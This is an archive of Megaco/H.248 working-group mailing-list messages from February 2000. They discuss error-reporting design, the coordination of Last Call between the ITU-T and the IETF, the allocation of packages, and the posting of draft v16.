          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 15 Feb 2000 04:16:20 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.696C8970@standards.nortelnetworks.com>; Tue, 15 Feb 2000
          4:16:20 -0500
Received: from zmers013 by smtprch1.nortel.com; Tue, 15 Feb 2000 03:17:59 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Tue, 15
          Feb 2000 04:17:46 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF709W>; Tue, 15 Feb 2000 03:17:44 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7795.8443D094"
Message-ID:  
Date:         Tue, 15 Feb 2000 03:17:38 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Errors and Error Codes
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7795.8443D094
Content-Type: text/plain;
        charset="iso-8859-1"

Actually, this initiative died still-born, due to my stubbornness: I don't
believe the existing Cause event (which looks like a Q.2931 return code) is
sufficiently general for our needs.  What has happened is this: requestID 0
is reserved, with use for further study, and the errorDescriptor is an
optional part of the Notify in both ASN.1 and ABNF (was inconsistent
before).

My error code documentation wasn't picked up due to an opposing view that it
was only advice to implementors.  Given the number of questions we get about
this sort of thing, I propose to issue a separate I-D with definitive text
describing the error codes.  We can turn this into an RFC and it will be
available for people to refer to.  On the matter of error responses to
Transaction Reply, the general opinion was that that was too risky -- hence
related error codes should be deprecated or deleted.

> -----Original Message-----
> From: Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]
> Sent: Monday, February 14, 2000 6:07 AM
> To:   Taylor, Tom-PT [CAR:B904:EXCH]
> Cc:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Errors and Error Codes
>
> Hi Tom
>
> Thanks for the clarifications - now I have some comments below.
>
>
> Tom-PT Taylor wrote:
>
>
>
>       Replies below.
>
>               -----Original Message-----
>       From:   Flemming Andreasen [SMTP:fandreasen@worldnet.att.net]
>       Sent:   Friday, February 11, 2000 9:29 AM
>       To:     Taylor, Tom-PT [CAR:B904:EXCH]
>       Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM
>       Subject:        Re: Errors and Error Codes
>
>
>               Tom-PT Taylor wrote:
>
>               > This E-mail covers several topics dealing with error
> reporting.
>       >
>       > A. Asynchronous Error Reporting
>       > ========================
>       >
>       > We have discussed, here in Geneva, a mechanism for generating
> spontaneous
>       > notifications of error conditions (i.e. use of the "cause" event
> in the
>       > generic package).  The suggested mechanism is this:
>       >
>       >   -- we reserve a block of event request-IDs (e.g. 0-15) for
> assignment to
>       > classes of event the MGC will always want enabled (or
> alternatively can
>       > enable or disable using a Root property).  As an example of use,
> we assign
>       > requestID 0 to spontaneous error reports.  This way it won't be
> necessary to
>       > include the cause event in every Event Descriptor
>       >
>
>               I agree with the goal, but I'm not sure I agree with the
> solution (could be I
>       just misinterpreted it), so let me ask a couple of questions for
> clarification:
>
>               Does this mean, that if I play a signal that succeeds, I
> will get a completion
>       event through the normal channels and with a RequestID matching my
> request, but
>       if it fails, it will come through this other channel using one of
> these special
>       RequestIDs ?
>       [[TomT]]
>       That's correct.  Mind, if the completion event is left as it is now
> defined in -megaco-protocol-06, you will ALSO get a signal completion
> event with RequestID matching the request and termination method "FL".
> This can be changed -- it was due to be taken out in the wake of
> discussion on the list indicating a preference for using the Cause event.
>
> I would rather leave it the way it is as the above alternative is a recipe
> for race conditions. If I understand correctly, you are simply trying to
> optimize the flows by not requiring certain events to always be included
> in the EventsDescriptor. I can't think of a reason why you would want to
> report these differently than all other events. Seems like a recipe for
> race conditions to me.
>
>
>
>       What about ordering ? Will I be guaranteed to receive the error
> before any other
>       subsequent events on the termination ?
>       [[TomT]]
>       Somewhere -- presumably in the Events section -- we should state
> that the MG must report events in the order in which they occur.  Does
> this meet your requirement?
>
> Yes it does, but if you start reporting through different channels with a
> couple of reserved and "special" RequestIDs then you start complicating
> things. Ensuring ordered delivery here seems unnecessarily complicated and
> could easily cause a serious synchronization penalty which you would not
> have to deal with if you used the normal event reporting channels.
> It seems like you are effectively implementing SNMP traps although it's
> not clear how the MGC can actually control which of these "persistent"
> events it actually wants to hear about.
>
>
>
>
>               >
>       >   -- rather than making errorDescriptor an optional component of
> the Notify
>       > command (as our ABNF now states), we make it a parameter of the
> cause event.
>       >
>       >   -- this mechanism allows the inclusion of some error codes in
> our list in
>       > section 7.3 which otherwise shouldn't be there because they would
> not result
>       > from transaction processing.  One example is 518 "event buffer
> full".
>       >
>       >
>
>               <>
>
>               -- Flemming
>
>               --
>       ---------------------------------------
>       Flemming Andreasen
>       Cisco Systems
>       ---------------------------------------
>
>
>
> -- Flemming
>
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------
>

------_=_NextPart_001_01BF7795.8443D094
Content-Type: text/html;
        charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable






RE: Errors and Error Codes




Actually, this =
initiative died still-born, due to my stubbornness: I don't believe the =
existing Cause event (which looks like a Q.2931 return code) is =
sufficiently general for our needs.  What has happened is this: =
requestID 0 is reserved, with use for further study, and the =
errorDescriptor is an optional part of the Notify in both ASN.1 and =
ABNF (was inconsistent before).



My error code =
documentation wasn't picked up due to an opposing view that it was only =
advice to implementors.  Given the number of questions we get =
about this sort of thing, I propose to issue a separate I-D with =
definitive text describing the error codes.  We can turn this into =
an RFC and it will be available for people to refer to.  On the =
matter of error responses to Transaction Reply, the general opinion was =
that that was too risky -- hence related error codes should be =
deprecated or deleted.


    

    -----Original Message-----

    From:   Flemming Andreasen =
[SMTP:fandreasen@worldnet.att.net]

    Sent:   Monday, February 14, 2000 6:07 AM

    To:     Taylor, Tom-PT [CAR:B904:EXCH]

    Cc:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Re: Errors and Error Codes

    


    Hi Tom 

    


    Thanks for the clarifications - now I have some =
comments below.
    
=A0     

    


    Tom-PT Taylor wrote: 

    

      

      =A0 

      


      Replies =
below. 

      


              -----Original Message-----
      
      From:=A0=A0 Flemming Andreasen =
[SMTP:fandreasen@worldnet.att.net]
      
      Sent:=A0=A0 Friday, February =
11, 2000 9:29 AM
      
      To:=A0=A0=A0=A0 Taylor, Tom-PT =
[CAR:B904:EXCH]
      
      Cc:=A0=A0=A0=A0 MEGACO@STANDARDS.NORTELNETWORKS.COM
      
      Subject:=A0=A0=A0=A0=A0=A0=A0 Re: Errors and =
Error Codes
      
=A0       

      


              Tom-PT Taylor wrote: 

      


              > This E-mail covers several topics dealing with =
error reporting.
      
      >
> A. Asynchronous Error =
Reporting
      
      > =
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=

      
      >
      
      > We have discussed, here in =
Geneva, a mechanism for generating spontaneous
      
      > notifications of error =
conditions (i.e. use of the "cause" event in the
      
      > generic package).=A0 The =
suggested mechanism is this:
      
      >
      
      >=A0=A0 -- we reserve a block =
of event request-IDs (e.g. 0-15) for assignment to
      
      > classes of event the MGC will =
always want enabled (or alternatively can
      
      > enable or disable using a =
Root property).=A0 As an example of use, we assign
      
      > requestID 0 to spontaneous =
error reports.=A0 This way it won't be necessary to
      
      > include the cause event in =
every Event Descriptor
      
      > =


      


              I agree with the goal, but I'm not sure I agree with the =
solution (could be I
      
      just misinterpreted it), so let me =
ask a couple of questions for clarification: 

      


              Does this mean, that if I play a signal that succeeds, I =
will get a completion
      
      event through the normal channels =
and with a RequestID matching my request, but
      
      if it fails, it will come through =
this other channel using one of these special
      
      RequestIDs ?
      
      [[TomT]]
      
      That's =
correct.=A0 Mind, if the completion event is left as it is now defined =
in -megaco-protocol-06, you will ALSO get a signal completion event =
with RequestID matching the request and termination method =
"FL".=A0 This can be changed -- it was due to be taken out in =
the wake of discussion on the list indicating a preference for using =
the Cause event.
      

    

    I would rather leave it the way it is as the =
above alternative is a recipe for race conditions. If I understand =
correctly, you are simply trying to optimize the flows by not requiring =
certain events to always be included in the EventsDescriptor. I can't =
think of a reason why you would want to report these differently than =
all other events. Seems like a recipe for race conditions to me.
    
=A0     

    

      

              =A0
      
      What about ordering ? Will I be =
guaranteed to receive the error before any other
      
      subsequent events on the =
termination ?
      
      [[TomT]]
      
      Somewhere -- =
presumably in the Events section -- we should state that the MG must =
report events in the order in which they occur.=A0 Does this meet your =
requirement?
      

    

    Yes it does, but if you start reporting through =
different channels with a couple of reserved and "special" =
RequestIDs then you start complicating things. Ensuring ordered =
delivery here seems unnecessarily complicated and could easily cause a =
serious synchronization penalty which you would not have to deal with =
if you used the normal event reporting channels.
    
It seems like you are effectively implementing SNMP traps although it's =
not clear how the MGC can actually control which of these =
"persistent" events it actually wants to hear about.
    
=A0     

    

      

              =A0 =


      


              >
      
      >=A0=A0 -- rather than making =
errorDescriptor an optional component of the Notify
      
      > command (as our ABNF now =
states), we make it a parameter of the cause event.
      
      >
      
      >=A0=A0 -- this mechanism =
allows the inclusion of some error codes in our list in
      
      > section 7.3 which otherwise =
shouldn't be there because they would not result
      
      > from transaction =
processing.=A0 One example is 518 "event buffer =
full".
      
      >
      
      > =


      


              <<stuff deleted>> 

      


              -- Flemming 

      


              --
      
      ---------------------------------------
      
      Flemming Andreasen
      
      Cisco Systems
      
      ---------------------------------------
      
=A0      

      

      

    

    -- Flemming 

    


    ---------------------------------------
    
Flemming Andreasen
    
Cisco Systems
    
---------------------------------------
    
=A0    

    




------_=_NextPart_001_01BF7795.8443D094--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 03:42:13 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA20607
	for ; Wed, 16 Feb 2000 03:42:05 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4770BCF0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 3:38:24 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 49807 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 03:37:06 -0500
Received: from ties.itu.ch by standards.nortelnetworks.com (LSMTP for Windows
          NT v1.1a) with SMTP id <0.18ADC2A0@standards.nortelnetworks.com>;
          Wed, 16 Feb 2000 3:37:06 -0500
Received: from nortelnetworks.com ([156.106.208.78]) by ties.itu.ch
          (8.9.3/8.9.3) with ESMTP id JAA17300 for
          ; Wed, 16 Feb 2000 09:39:49
          +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38AA623B.ED2E989C@nortelnetworks.com>
Date:         Wed, 16 Feb 2000 09:39:23 +0100
Reply-To: Tom Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom Taylor 
Subject:      H.248 and Megaco Last Call
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

At some point today we will have text for H.248 which the ITU-T will
consider to be frozen.  I will make that text available, then we can go
through Last Call.  Our aim will be to find the bugs and document them.
My proposal is that the final RFC will be published unchanged from the
ITU text, but with a must-read appendix containing our Last Call
conclusions.

The indications are very strong that the head of the U.S. delegation
will veto the decision of H.248 on procedural grounds.  It will
therefore be held over for decision in June.  That is why it is so
important to keep the ITU text intact -- to let their process work
without further delays.  They will be able to publish our Last Call
appendix as an H.248 Implementor's Guide, which, despite the name, is
used in the ITU-T to document bugs rather than just to give
interpretations.

In the meantime, to make the status of our protocol clear to our
industry, I propose that we publish it as a Proposed Standard.

Let me review the process we've followed in the last week and a half.
Obviously I haven't fed back all the issues to the list as I had hoped
-- there just wasn't time.  We've worked through supper severl nights,
met all day and into the night last Sunday, and finally knocked the last
open issue dead at 3:35 am yesterday morning.

Here's how we proceeded.  First we went through the Telcordia and Cisco
issues, identifying which had been fixed by TD-33 (v14) and which by
TD-49 (v15).  The stuff which was still open had to be fixed.  Some
fixes were done at the time, some were held over for further discussion.

Next we went over the input documents themselves: TD-32 (the delta from
the Red Bank output to v14), and TD-49 (the delta from v14 to
v15/protocol-06).  Again problems were spotted and solutions devised.

Finally we closed all the remaining open issues, finishing, as I said
above, in the wee small hours of Tuesday morning.  The unfortunate John
Segers then wortked through the remainder of the night to add in all the
approved changes to produce a final document.

Yesterday afternoon that document was reviewed in a final editing pass
to catch anything John hadn't put in correctly.  Poor John was left
holding the back in the end -- Glen and I had to go elsewhere and he was
left to preside.  I hear they finished around 11:00 pm.  Today the
finished document goes for approval at Working Party level, and tomorrow
it goes up for decision, with the likely outcome as I indicated above.

I would like to list the H.248 marathoners here.  To a large extent,
they are the same people who sacrificed their sleep in Red Bank.  I hope
I don't miss anybody, but if I do, feel free to flame me.  Here is the
roll call of the red-eye brigade:
John Segers                           Ranga
Dendi                           Alf Heidemark
Glen Freundlich                     Selvam Rengasami
Larry Forni
Michael Brown                     Rich Rubin
Chip Sharp                           Christian Groves
Steve Magnell                       Stephen Terrill

Just a few statistics about the E-mail which has gotten us to that
point.  My personal archives go back to mid-1998, and that is where the
numbers come from.

Total messages on the list to date: 5490
Top ten correspondents:
  Brian Rosen (no surprise): 591
  Me                                   580
  Nancy Greene                  198
  Christian Huitema             187
  Matt Holdrege                  151
  Chip Sharp                       144
  John Segers                        91
  Michael Thomas                 83
  Henry Sinnreich                  81
  Paul Sijben                         80

My archives also contain over 1800 messages from editors and the design
team.  I don't have my own messages in there, but the counts for the top
five other people are as follows:
  Brian Rosen                       409
  Nancy Greene                    294
  Christian Huitema                 80
  Christian Groves                  70
  John Segers                         59

My thanks to everyone.  On to the Last Call!

Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 03:56:16 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA20726
	for ; Wed, 16 Feb 2000 03:55:57 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.3D5933D0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 3:52:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 49835 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 03:50:49 -0500
Received: from ties.itu.ch by standards.nortelnetworks.com (LSMTP for Windows
          NT v1.1a) with SMTP id <0.03051AA0@standards.nortelnetworks.com>;
          Wed, 16 Feb 2000 3:50:48 -0500
Received: from nortelnetworks.com ([156.106.208.78]) by ties.itu.ch
          (8.9.3/8.9.3) with ESMTP id JAA18163 for
          ; Wed, 16 Feb 2000 09:53:28
          +0100 (MET)
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38AA6581.DFD1E4A6@nortelnetworks.com>
Date:         Wed, 16 Feb 2000 09:53:22 +0100
Reply-To: Tom Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom Taylor 
Subject:      Packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Glen Freundlich and I have agreed (with consensus here) that the same
package will NOT be standardized by both the ITU-T and the IETF.  We may
cooperate in developing the packages, but after that they either go
through IETF Last Call or ITU-T decision but not both.  It occurs to me
that there is still a process issue on making package documentation
publicly available.  We can sort that out.

Anyway, consensus at this meeting was that SG 16 is prepared to
standardize all of the packages that were presented here with the
exception of the NAS package.  They definitely want to keep the
FAX/modem/text related stuff because this is where the experts are.
(E.g. V.90 is a standard created by SG 16.)

If anyone feels strongly about doing some of the other packages in the
IETF, we can negotiate.  As it is, most of the packages have been
determined and are slated for November decision as new annexes to H.248.

I'll put out a complete list of the packages concerned later -- I don't
have it immediately to hand.

Tom Taylor


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 13:04:48 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08605
	for ; Wed, 16 Feb 2000 13:04:47 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E412B6A0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 13:01:08 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 50422 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 12:59:30 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.A9856500@standards.nortelnetworks.com>; Wed, 16 Feb 2000 12:59:30
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          KAA00024; Wed, 16 Feb 2000 10:02:15 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000216121657.00ae7ba0@localhost>
Date:         Wed, 16 Feb 2000 12:48:04 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: H.248 and Megaco Last Call
X-To:         Tom Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38AA623B.ED2E989C@nortelnetworks.com>

At 09:39 AM 2/16/00 +0100, Tom Taylor wrote:
>At some point today we will have text for H.248 which the ITU-T will
>consider to be frozen.  I will make that text available, then we can go
>through Last Call.  Our aim will be to find the bugs and document them.
>My proposal is that the final RFC will be published unchanged from the
>ITU text, but with a must-read appendix containing our Last Call
>conclusions.
>
>The indications are very strong that the head of the U.S. delegation
>will veto the decision of H.248 on procedural grounds.  It will
>therefore be held over for decision in June.  That is why it is so
>important to keep the ITU text intact -- to let their process work
>without further delays.  They will be able to publish our Last Call
>appendix as an H.248 Implementor's Guide, which, despite the name, is
>used in the ITU-T to document bugs rather than just to give
>interpretations.

As a clarification after the fact, WP2 of SG16 decided on a consensus basis
that H.248 would be "re-determined" for decision (approval) in June.  The
US delegation did not veto decision of H.248.

While IETF does not place restrictions on what people can or can't comment
on, I request that people think very carefully about any substantive
changes to the document.  Of course, if there is a broken mechanism within
the scope of defined operation it should be fixed or if you find editorial
problems, then they should be fixed.   If there is a new feature that you
have to have, consider saving it for v2.

Of course, it is up to the working group to decide what to do.

Thanks,
Chip

...snip...
Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 13:19:44 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA08984
	for ; Wed, 16 Feb 2000 13:19:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FE6317F0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 13:16:11 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 50461 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 13:14:28 -0500
Received: from newdev.harvard.edu (140.247.60.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.C0421840@standards.nortelnetworks.com>; Wed, 16 Feb 2000
          13:14:27 -0500
Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id NAA22003;
          Wed, 16 Feb 2000 13:14:27 -0500 (EST)
Message-ID:  <200002161814.NAA22003@newdev.harvard.edu>
Date:         Wed, 16 Feb 2000 13:14:27 -0500
Reply-To: Scott Bradner 
Sender: "Media Gateway Control (megaco)"
              
From: Scott Bradner 
Subject:      Re: H.248 and Megaco Last Call
X-To:         chsharp@CISCO.COM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Chip sez:
> While IETF does not place restrictions on what people can or can't comment
> on, I request that people think very carefully about any substantive
> changes to the document.  Of course, if there is a broken mechanism within
> the scope of defined operation it should be fixed or if you find editorial
> problems, then they should be fixed.   If there is a new feature that you
> have to have, consider saving it for v2.

I'd like to 2nd this - we need to fix things that are broken or fuzzy
but in the interest of coming out of this process with a single standard
please don't engage in featureitis

also - as Tom suggests when it comes time to publish the RFC (standards
track I hope) we can publish the text as it comes out of the ITU with an
adendum if needed to deal with any issues that come up during megaco
or IETF last call of IESG review. The text and the adendum can be
combined in future versions of the RFC.

Scott


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 14:00:47 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA10108
	for ; Wed, 16 Feb 2000 14:00:40 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.BC56ECA0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 13:57:17 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 50535 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 13:55:36 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.1A3DB0D0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 13:45:36
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id NAA10475; Wed, 16 Feb
          2000 13:48:14 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id NAA06129; Wed, 16 Feb
          2000 13:48:16 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL9WJT>; Wed, 16 Feb 2000 13:44:42 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2089A5@whq-msgusr-02.fore.com>
Date:         Wed, 16 Feb 2000 13:48:13 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 and Megaco Last Call
X-To:         Scott Bradner 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I have a problem with this.

There ARE changes in the ITU document.  Functionality was
taken out, functionality was put in.  This was done without the
list - it was a small group of people at the meeting deciding what
went in and what went out.

To now say that it's frozen, no new functionality changes,
is not fair to those not at the meeting.

If IETF last call preceded the ITU meeting, and changes at that
meeting were limited to finalizing wording based on last call comments, then
you could proceed as you have outlined.  With
substantive changes accomplished at the meeting, you must allow
socialization of issues, and you must allow changes.

I don't want frivolous changes, and I don't want new features
at this time.  If ITU had stuck to that, I wouldn't have a problem.

This is irrespective of what I personally think of the changes made.

Brian

> -----Original Message-----
> From: Scott Bradner [mailto:sob@HARVARD.EDU]
> Sent: Wednesday, February 16, 2000 1:14 PM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Re: H.248 and Megaco Last Call
>
>
> Chip sez:
> > While IETF does not place restrictions on what people can
> or can't comment
> > on, I request that people think very carefully about any substantive
> > changes to the document.  Of course, if there is a broken
> mechanism within
> > the scope of defined operation it should be fixed or if you
> find editorial
> > problems, then they should be fixed.   If there is a new
> feature that you
> > have to have, consider saving it for v2.
>
> I'd like to 2nd this - we need to fix things that are broken or fuzzy
> but in the interest of coming out of this process with a
> single standard
> please don't engage in featureitis
>
> also - as Tom suggests when it comes time to publish the RFC
> (standards
> track I hope) we can publish the text as it comes out of the
> ITU with an
> adendum if needed to deal with any issues that come up during megaco
> or IETF last call of IESG review. The text and the adendum can be
> combined in future versions of the RFC.
>
> Scott
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 15:52:18 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA13394
	for ; Wed, 16 Feb 2000 15:52:13 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.422C1A30@standards.nortelnetworks.com>; Wed, 16 Feb 2000 15:48:24 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 50624 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 15:47:13 -0500
Received: from newdev.harvard.edu (140.247.60.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.17526800@standards.nortelnetworks.com>; Wed, 16 Feb 2000
          15:47:12 -0500
Received: (from sob@localhost) by newdev.harvard.edu (8.9.3/8.9.3) id PAA22512;
          Wed, 16 Feb 2000 15:47:11 -0500 (EST)
Message-ID:  <200002162047.PAA22512@newdev.harvard.edu>
Date:         Wed, 16 Feb 2000 15:47:11 -0500
Reply-To: Scott Bradner 
Sender: "Media Gateway Control (megaco)"
              
From: Scott Bradner 
Subject:      Re: H.248 and Megaco Last Call
X-To:         brosen@fore.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> To now say that it's frozen, no new functionality changes,
> is not fair to those not at the meeting.

I did not say "no changes" I said put the changes at the end not tweak the
words in the main text (i.e put a section at the end
that says "replace section 4.3 with the following")

Scott


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb 16 23:25:33 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA23111
	for ; Wed, 16 Feb 2000 23:25:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.9F9AB7A0@standards.nortelnetworks.com>; Wed, 16 Feb 2000 23:21:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 50992 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 16 Feb 2000 23:20:49 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.75B1CE10@standards.nortelnetworks.com>; Wed, 16 Feb 2000
          23:20:49 -0500
Received: from zmers013 by smtprch1.nortel.com; Wed, 16 Feb 2000 22:22:17 -0600
Received: from zrchb213.us.nortel.com (actually zrchb213) by zmers013; Wed, 16
          Feb 2000 23:22:01 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1TWF9R2P>; Wed, 16 Feb 2000 22:22:00 -0600
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF78FE.887A74FA"
Message-ID:  
Date:         Wed, 16 Feb 2000 22:21:57 -0600
Reply-To: Nancy-M Greene 
Sender: "Media Gateway Control (megaco)"
              
From: Nancy-M Greene 
Subject:      Re: H.248 and Megaco Last Call
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF78FE.887A74FA
Content-Type: text/plain;
        charset="iso-8859-1"

v16 is now available at:

ftp://standards.nortelnetworks.com/megaco/docs/latest

file names:
***NOTE THAT THE MEGACO MACRO IS TURNED OFF IN THESE FILES - that is why
***it looks like there is no IETF boiler plate in the files.

***Refresh your browser to be sure you see the files at the ftp site.

Changebarred against the Megaco/H.248 "white document", i.e. v12:
MegacoH248v16.doc
MegacoH248v16doc.zip
MegacoH248v16.PDF

As the name suggests, changebarred against v15
(=draft-ietf-megaco-protocol-06.txt):
MegacoH248v15to16diff.doc
MegacoH248v15to16doc.zip
MegacoH248v15to16.PDF

...v16 will come out as draft-ietf-megaco-protocol-07.txt shortly...

v15, v14, v13, v12 are still available if you want to look at them. They are
in
ftp://standards.nortelnetworks.com/megaco/docs/Adelaide2000

Nancy
--------------------------------------------------------------------------
Nancy M. Greene
Internet & Service Provider Networks, Nortel Networks
T:514-271-7221 (internal:ESN853-1077) E:ngreene@nortelnetworks.com

> ----------
